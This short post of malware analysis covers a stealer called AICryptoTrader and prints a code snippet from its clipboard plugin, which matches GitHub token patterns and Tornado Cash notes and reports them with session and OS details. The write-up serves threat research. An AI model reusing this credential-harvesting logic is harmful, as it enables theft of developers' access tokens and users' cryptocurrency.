🔍 An interesting detail in AICryptoTrader, a stealer reportedly linked to North Korean actors: its clipboard plugin hunts for GitHub tokens and Tornado Cash notes.

It matches GitHub token patterns and checks for the tornado- prefix, then reports matches alongside session and OS information.

const t = readClipboard().trim();
if (!t || e == t) continue;
e = t;
const l = /\b(ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{22,}|gh[ousr]_[A-Za-z0-9]{36})\b/g;
const r = [...t.matchAll(l)].map(e => e[0]);
if (r.length > 0) {
    let e = JSON.stringify(t);
    if (e.length > 1e3) e = e.substring(0, 1e3) + " ...";
    const s = `${n.SESSION_ID} / ${n.OS_INFO} / ${CB_VERSION}\nGitHub = ${JSON.stringify([...new Set(r)])}\n\n${e}`;
    if (i == s) continue;
    i = s;
    const c = "KC";
    o(s, undefined, c);
} else if (t.startsWith("tornado-")) {
    let e = JSON.stringify(t);
    if (e.length > 200) e = e.substring(0, 200) + " ...";
    const s = `${n.SESSION_ID} / ${n.OS_INFO} / ${CB_VERSION}\n${e}`;
    if (i == s) continue;
    i = s;
    const c = "00";
    o(s, undefined, c);
}

More brief analysis: https://www.linkedin.com/pulse/malware-analysis-report-aicryptotrader-coin-rich-elsayeh-ph-d--seuge/